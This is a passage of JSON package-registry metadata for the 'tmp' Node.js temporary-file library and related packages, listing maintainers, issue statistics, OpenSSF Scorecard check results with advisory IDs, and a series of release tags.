pm/@yoolabs/tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-03-21T21:32:44.155Z","issues_count":50,"pull_requests_count":80,"avg_time_to_close_issue":38377481.93617021,"avg_time_to_close_pull_request":5892294.617647059,"issues_closed_count":47,"pull_requests_closed_count":68,"pull_request_authors_count":33,"issue_authors_count":32,"avg_comments_per_issue":5.32,"avg_comments_per_pull_request":2.1875,"merged_pull_requests_count":55,"bot_issues_count":0,"bot_pull_requests_count":10,"past_year_issues_count":2,"past_year_pull_requests_count":6,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":null,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":0,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":0.0,"past_year_avg_comments_per_pull_request":0.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":5,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/issues","maintainers":[{"login":"silkentrance","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/silkentrance"},{"login":"raszi","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/raszi"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yoolabs%2Ftmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yoolabs%2Ftmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yoolabs%2Ftmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yoolabs%2Ftmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yoolabs%2Ftmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yoolabs%2Ftmp/codemeta","maintainers":[{"uuid":"yooser","login":"yooser","name":null,"email":"info@yoolabs.com","url":null,"packages_count":6,"html_url":"https://www.npmjs.com/~yooser","role":null,"created_at":"2022-11-11T06:40:31.187Z","updated_at":"2022-11-11T06:40:31.187Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/yooser/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5679045,"maintainers_count":1211546,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":5006174,"name":"org.webjars.npm:tmp","ecosystem":"maven","description":"WebJar for tmp","homepage":"https://www.webjars.org","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":[],"namespace":"org.webjars.npm","versions_count":9,"first_release_published_at":"2018-02-13T08:47:59.000Z","latest_release_published_at":"2024-04-28T05:50:13.000Z","latest_release_number":"0.2.3","last_synced_at":"2026-07-23T01:11:51.368Z","created_at":"2022-07-27T11:10:57.990Z","updated_at":"2026-07-23T01:11:51.369Z","registry_url":"https://central.sonatype.com/artifact/org.webjars.npm/tmp/","install_command":null,"documentation_url":"https://appdoc.app/artifact/org.webjars.npm/tmp/","metadata":{},"repo_metadata":{"id":48335217,"uuid":"2313213","full_name":"raszi/node-tmp","owner":"raszi","description":"Temporary file and directory creator for node.js","archived":false,"fork":false,"pushed_at":"2025-08-08T21:22:47.000Z","size":1374,"stargazers_count":764,"open_issues_count":9,"forks_count":97,"subscribers_count":6,"default_branch":"master","last_synced_at":"2025-09-20T16:20:03.362Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/raszi.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2011-09-02T10:39:43.000Z","updated_at":"2025-09-15T01:01:20.000Z","dependencies_parsed_at":"2024-02-26T01:49:31.508Z","dependency_job_id":"a21f403e-0a55-4cd2-b57d-8983cb89dd73","html_url":"https://github.com/raszi/node-tmp","commit_stats":{"total_commits":350,"total_committers":38,"mean_commits":9.210526315789474,"dds":"0.46285714285714286","last_synced_commit":"5f0b2525ed6f6a977ea0cc272d4903d9d2216059"},"previous_names":[],"tags_count":38,"template":false,"template_full_name":null,"purl":"pkg:github/raszi/node-tmp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/sbom","scorecard":{"id":762544,"data":{"date":"2025-08-11","repo":{"name":"github.com/raszi/node-tmp","commit":"3d2fe387f3f91b13830b9182faa02c3231ea8258"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.9,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/node.js.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 3/14 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":4,"reason":"5 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":3,"reason":"7 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-78xj-cgh5-2h22","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T23:49:23.651Z","repository_id":48335217,"created_at":"2025-08-22T23:49:23.651Z","updated_at":"2025-08-22T23:49:23.651Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":276169661,"owners_count":25596956,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-20T02:00:10.207Z","response_time":63,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"raszi","name":"KARASZI István","uuid":"76983","kind":"user","description":"","email":"","website":"https://function-artisans.com/","location":"Budapest, Hungary, Europe","twitter":"ikaraszi","company":"@metrictech","icon_url":"https://avatars.githubusercontent.com/u/76983?v=4","repositories_count":168,"last_synced_at":"2025-09-10T04:24:01.310Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/raszi","funding_links":[],"total_stars":997,"followers":58,"following":22,"created_at":"2022-11-02T16:20:11.698Z","updated_at":"2025-09-10T04:24:01.310Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi/repositories"},"tags":[{"name":"v0.2.3","sha":"5f0b2525ed6f6a977ea0cc272d4903d9d2216059","kind":"tag","published_at":"2024-02-29T02:44:33.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.2.3","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.3/manifests"},{"name":"v0.2.2","sha":"da3bc1ac9a7880def4a3129c4f8bfe96a63bf99c","kind":"commit","published_at":"2022-08-26T20:37:55.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.2.2","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"7ae22ed2d56c10d425a66e99fe8bc10c925442e6","kind":"tag","published_at":"2020-10-14T08:21:54.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.2.1","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"16acc7afc40476c87c39a70c549adb5dcaae43b8","kind":"tag","published_at":"2020-04-25T10:22:56.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.2.0","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"05aba23f06aa62dc286bca4340849f475f862dc3","kind":"tag","published_at":"2019-03-25T17:39:45.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.1.0","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.1.0/manifests"},{"name":"v0.0.33","sha":"0900dd5b112ac7a482e4bdf3cb002bfe1b3acf77","kind":"tag","published_at":"2017-08-12T09:28:04.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.33","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.33/manifests"},{"name":"v0.0.32","sha":"02fc69fcf432a6b99cb80a19ead57e14baad2e41","kind":"tag","published_at":"2017-08-12T09:27:27.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.32","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.32/manifests"},{"name":"v0.0.31","sha":"f60eace1da5b4812776fcfb5afbf11cda88034d9","kind":"tag","published_at":"2016-11-26T10:22:21.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.31","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.31/manifests"},{"name":"v0.0.30","sha":"d31f69e7df59622fed6b920e447e7dce16d8e258","kind":"tag","published_at":"2016-11-01T21:38:08.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.30","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.30/manifests"},{"name":"v0.0.29","sha":"e31c67620ff1277545e1e1bb30537ae89bf5c9c6","kind":"tag","published_at":"2016-09-18T13:04:35.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.29","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.29/manifests"},{"name":"v0.0.28","sha":"9fe2a507d8b041c92c83ce1045b83e7283834431","kind":"tag","published_at":"2015-09-27T20:46:30.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.28","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.28/manifests"},{"name":"v0.0.27","sha":"a9133e6823075bf286e6239b90f0085e0fadc9b2","kind":"tag","published_at":"2015-08-14T22:12:34.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.27","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.27/manifests"},{"name":"v0.0.26","sha":"65bf12c4cfef4ba7d02062c19168624967d7147c","kind":"tag","published_at":"2015-05-12T07:40:09.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.26","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.26/manifests"},{"name":"v0.0.25","sha":"6641f3ab9533748d7eb10d659e1e53f2e010e341","kind":"tag","published_at":"2015-03-01T12:18:32.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.25","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.25/manifests"},{"name":"v0.0.24","sha":"6864655f13a11c6043c119a0cb60385f072bcecf","kind":"tag","published_at":"2014-07-11T16:11:22.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.24","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.24/manifests"},{"name":"v0.0.23","sha":"a18d15db19059cfefe5ff7688b5f00f48de992cf","kind":"tag","published_at":"2013-12-03T22:28:02.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.23","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.23/manifests"},{"name":"v0.0.22","sha":"802e9e0a235c5e331f1d6e5307dfd635b651cd9b","kind":"tag","published_at":"2013-11-29T14:41:42.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.22","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.22/manifests"},{"name":"v0.0.21","sha":"4b30081f3b1dda387007ca2a64410133c51b6b37","kind":"tag","published_at":"2013-08-07T10:00:08.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.21","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.21/manifests"},{"name":"v0.0.20","sha":"ebe1c2a65bda78221aa7e903b0b468cb1c5c0564","kind":"tag","published_at":"2013-06-01T20:04:02.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.20","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.20/manifests"},{"name":"v0.0.19","sha":"2fa3fd63701ab8d87bbe22a1ef6c85f9a5453299","kind":"tag","published_at":"2013-06-01T20:02:36.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.19","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.19/manifests"},{"name":"v0.0.17","sha":"aea2beff92693f7d81ed73eab364aca1d4a2864b","kind":"tag","published_at":"2013-04-19T18:38:25.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.17","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.17/manifests"},{"name":"v0.0.16","sha":"23671f6012e06fbaa8b79407adffa67f1d4bd73b","kind":"tag","published_at":"2013-04-19T18:38:12.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.16","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.16/manifests"},{"name":"v0.0.18","sha":"ff0127efb76dc81a9705cd5172888fa7998f1d03","kind":"tag","published_at":"2013-04-19T18:31:15.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.18","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.18/manifests"},{"name":"v0.0.15","sha":"bc9422180524db9be74b3377928b2d41e1ac4534","kind":"tag","published_at":"2012-10-13T10:14:15.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.15","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.15/manifests"},{"name":"v0.0.14","sha":"6f91b8e10c110691d42830b7b06f692492a50629","kind":"tag","published_at":"2012-08-26T18:51:30.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.14","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.14/manifests"},{"name":"v0.0.13","sha":"661225f78d91db2a2a2363ac28eaab3d036249b7","kind":"commit","published_at":"2012-06-27T09:12:39.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.13","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.13","dependencies_parse